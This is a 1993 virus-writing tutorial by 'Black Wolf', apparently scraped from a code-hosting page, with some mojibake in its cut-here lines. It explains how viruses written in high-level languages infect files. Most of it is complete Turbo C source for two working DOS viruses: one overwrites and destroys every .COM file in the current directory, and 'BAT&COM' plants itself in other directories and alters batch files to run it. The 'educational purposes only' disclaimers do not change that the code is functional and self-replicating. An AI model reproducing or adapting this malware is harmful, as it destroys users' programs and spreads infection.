250 lines
9.9 KiB
Plaintext
250 lines
9.9 KiB
Plaintext
|
Upper-level languages, such as Basic, C, and a multitude of
|
|||
|
others, are where most programmers these days feel at home. They
|
|||
|
provide users with an amazing amount of built-in functionality,
|
|||
|
and allow the programmer to escape from having to deal with the
|
|||
|
machine that is being programmed on, and instead focus on the
|
|||
|
details of the program design. For viruses, this makes them easy
|
|||
|
languages to start in, but there are several obstacles. The first
|
|||
|
is that most upper-level languages simply were not made to program
|
|||
|
at a base systems level, even in C this is not easy. As a result,
|
|||
|
most viruses that are in this genre are primitive [usually
|
|||
|
overwriting] in their reproduction mechanism, although their
|
|||
|
activation routines can be impressive. Another really important
|
|||
|
disadvantage is that high-level languages often create files that
|
|||
|
are at the very LEAST 10k and often much higher - not very
|
|||
|
efficient for a virus. With this overhead, a memory-resident
|
|||
|
virus is impractical as it would usually be noticed by the user
|
|||
|
when a rather large chunk of memory disappears for no apparent
|
|||
|
reason.
|
|||
|
|
|||
|
Another possibility with high-level languages, however, is a
|
|||
|
source-code virus. This kind of virus is quite rare (to the best
|
|||
|
of my knowledge) but could be very effective. What a source-code
|
|||
|
virus does, in short, is search for another source file in the
|
|||
|
same language - for example, it might search for all files with a
|
|||
|
".C" extension for C. It would then add its own source code to
|
|||
|
the file (often by way of "including" a header with the routines
|
|||
|
and placing a call to it in main()) which would execute once the
|
|||
|
program was compiled. After compilation, the virus would be more
|
|||
|
or less hidden inside the application, and would be dormant until
|
|||
|
it found another ".C" file. The only documented case of this that
|
|||
|
I know of is Mark Ludwig's virus presented in Computer Virus
|
|||
|
Developments Quarterly, Volume 1, Number 2.
|
|||
|
|
|||
|
At any rate, all of these viruses have some basic steps in
|
|||
|
common. They are:
|
|||
|
|
|||
|
1) Find a file to infect, be it an executable, source,
|
|||
|
or whatever (If none found, go to step 3)
|
|||
|
2) Place virus in file.
|
|||
|
3) Decide if any activation routines are met and, if so,
|
|||
|
activate.
|
|||
|
4) Return to host or terminate and return to DOS.
|
|||
|
|
|||
|
For overwriting viruses, the implementation of these is quite
|
|||
|
simple. The only problem with these viruses is that they totally
|
|||
|
destroy any program that they infect, making them quite obvious.
|
|||
|
The only way to cure these is to find all of the infected files
|
|||
|
and delete them, restoring them from backups. The following virus
|
|||
|
is an extremely simple overwriting virus written in C. It will
|
|||
|
infect all .COM files within the current directory, destroying
|
|||
|
them completely. As it infects each file, it will print
|
|||
|
"Infecting [FILENAME]" on the screen as a warning. If you compile
|
|||
|
it to test it, compile it once, then EXE2BIN it and check the
|
|||
|
resultant size. If it does not equal 9504 bytes, change the line
|
|||
|
"x=9054;" to the appropriate size value. Do be careful with this
|
|||
|
virus, because while it is a primitive one, it will destroy any
|
|||
|
.COM files that it hits.
|
|||
|
|
|||
|
- - ------<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Cut Here <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>------ - -
|
|||
|
/* This is a simple overwriting virus programmed in Turbo C */
|
|||
|
/* It will infect all .COM files in the current directory */
|
|||
|
/* Infections destroy the programs and cannot be cured */
|
|||
|
/* It was presented in Virology 101 (c) 1993 Black Wolf */
|
|||
|
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <dos.h>
|
|||
|
#include <dir.h>
|
|||
|
|
|||
|
FILE *Virus,*Host;
|
|||
|
int x,y,done;
|
|||
|
char buff[256];
|
|||
|
struct ffblk ffblk;
|
|||
|
|
|||
|
main()
|
|||
|
{
|
|||
|
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
|
|||
|
while (!done) /* Loop for all COM's in DIR*/
|
|||
|
{
|
|||
|
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
|
|||
|
Virus=fopen(_argv[0],"rb"); /* Open infected file */
|
|||
|
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
|
|||
|
|
|||
|
x=9504; /* Virus size - must */
|
|||
|
/* be correct for the */
|
|||
|
/* compiler it is made */
|
|||
|
/* on, otherwise the */
|
|||
|
/* entire virus may not*/
|
|||
|
/* be copied!! */
|
|||
|
while (x>256) /* OVERWRITE new Host */
|
|||
|
{ /* Read/Write 256 byte */
|
|||
|
fread(buff,256,1,Virus); /* chunks until bytes */
|
|||
|
fwrite(buff,256,1,Host); /* left < 256 */
|
|||
|
x-=256;
|
|||
|
}
|
|||
|
fread(buff,x,1,Virus); /* Finish off copy */
|
|||
|
fwrite(buff,x,1,Host);
|
|||
|
fcloseall(); /* Close both files and*/
|
|||
|
done = findnext(&ffblk); /* go for another one. */
|
|||
|
}
|
|||
|
/* Activation would go */
|
|||
|
/* here */
|
|||
|
return (0); /* Terminate */
|
|||
|
}
|
|||
|
- - ------<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Cut Here <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>------ - -
|
|||
|
|
|||
|
The next virus to be presented is also in C, but is quite a
|
|||
|
bit different in functioning than the last. Instead of infecting
|
|||
|
executable files by overwriting them, it infects .BAT files by
|
|||
|
the directory. When executed, BAT&COM will first search one
|
|||
|
directory below the current for batch files. If none are found,
|
|||
|
it will try the root directory, then finally the DOS directory.
|
|||
|
If it finds any batch files, it will infect all of the batches
|
|||
|
in the directory, then check to see if its file has already
|
|||
|
been put there. If not, then it will create a file called
|
|||
|
BAT&COM containing the virus. On my setup, after EXE2BIN-ing
|
|||
|
the file, it came out around 10k. The virus code is as follows:
|
|||
|
|
|||
|
The BAT&COM Virus in C
|
|||
|
|
|||
|
- - - ---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Start Code<64><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>---- - - -
|
|||
|
/* This file is a high-level language virus of a different sort.
|
|||
|
It will search out batch files and, when found, place a copy
|
|||
|
of itself in the directory with the batch file while adding
|
|||
|
instructions in the BAT to execute this new file. In this way,
|
|||
|
it will spread each time an "infected" batch is run.
|
|||
|
Disinfection is done simply by deleting all of the BAT&COM.COM
|
|||
|
files and removing the commands from batch files that ruin
|
|||
|
them. This one is NOT confined to the current directory,
|
|||
|
so make sure it is on an isolated machine and be sure to
|
|||
|
clean up any infections. PLEASE DO NOT RELEASE!
|
|||
|
|
|||
|
BAT&COM virus is (C) 1993 Black Wolf Enterprises.
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <dos.h>
|
|||
|
#include <dir.h>
|
|||
|
#include <string.h>
|
|||
|
|
|||
|
struct ffblk ffblk;
|
|||
|
main()
|
|||
|
{
|
|||
|
char old_dir[MAXPATH];
|
|||
|
Get_Path(old_dir); /* Save the old directory */
|
|||
|
Pick_A_Dir(); /* Find a new directory to */
|
|||
|
Infect_Directory(); /* infect and infect it. */
|
|||
|
chdir(old_dir); /* Return to old directory */
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Pick_A_Dir()
|
|||
|
{
|
|||
|
int done;
|
|||
|
chdir(".."); /* First, Go out a DIR. */
|
|||
|
done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
|
|||
|
/* root and DOS */
|
|||
|
if (done)
|
|||
|
{
|
|||
|
chdir("\\");
|
|||
|
done=findfirst("*.BAT",&ffblk,0);
|
|||
|
if (done) chdir("\\DOS\\");
|
|||
|
}
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
Infect_Directory()
|
|||
|
{
|
|||
|
int done;
|
|||
|
|
|||
|
done = findfirst("*.BAT",&ffblk,0);
|
|||
|
while (!done) /* Find all .BAT files */
|
|||
|
{ /* and add code to run */
|
|||
|
Do_Batch(); /* BAT&COM if not */
|
|||
|
done = findnext(&ffblk); /* already there */
|
|||
|
}
|
|||
|
|
|||
|
if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
|
|||
|
{Copy_Virus();} /* not exist, then */
|
|||
|
return 0; /* copy it into dir.*/
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Do_Batch()
|
|||
|
{
|
|||
|
FILE *batch;
|
|||
|
char Infection_Buffer[12];
|
|||
|
char vpath[MAXPATH];
|
|||
|
|
|||
|
Get_Path(vpath); /* Get path for adding path */
|
|||
|
/* specifier in commands */
|
|||
|
|
|||
|
|
|||
|
if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */
|
|||
|
|
|||
|
batch=fopen(ffblk.ff_name, "rt+");
|
|||
|
fseek(batch, -11, SEEK_END);
|
|||
|
fread(Infection_Buffer,11,1,batch);
|
|||
|
Infection_Buffer[11]=0; /* Terminate String */
|
|||
|
|
|||
|
if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
|
|||
|
{ /* Batch is */
|
|||
|
fseek(batch, 0, SEEK_END); /* infected.*/
|
|||
|
fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
|
|||
|
} /*^- Add command */
|
|||
|
/* to batch */
|
|||
|
|
|||
|
fclose(batch);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
Copy_Virus()
|
|||
|
{
|
|||
|
FILE *old_virus, *new_virus;
|
|||
|
int write_length;
|
|||
|
char copy_buffer[1024]; /* Copy the virus to */
|
|||
|
/* new directory */
|
|||
|
old_virus=fopen(_argv[0],"rb");
|
|||
|
new_virus=fopen("BAT&COM.COM","wb");
|
|||
|
|
|||
|
write_length=1024;
|
|||
|
|
|||
|
while (write_length==1024)
|
|||
|
{
|
|||
|
write_length=fread(copy_buffer,1,1024,old_virus);
|
|||
|
fwrite(copy_buffer,write_length,1,new_virus);
|
|||
|
}
|
|||
|
fclose(old_virus);
|
|||
|
fclose(new_virus);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
Get_Path(char *path)
|
|||
|
{
|
|||
|
strcpy(path, "A:\\");
|
|||
|
path[0] ='A' + getdisk(); /* Returns current path */
|
|||
|
getcurdir(0, path+3);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
- - - ---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>End of Code<64><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>---- - - -
|
|||
|
|
|||
|
|
|||
|
|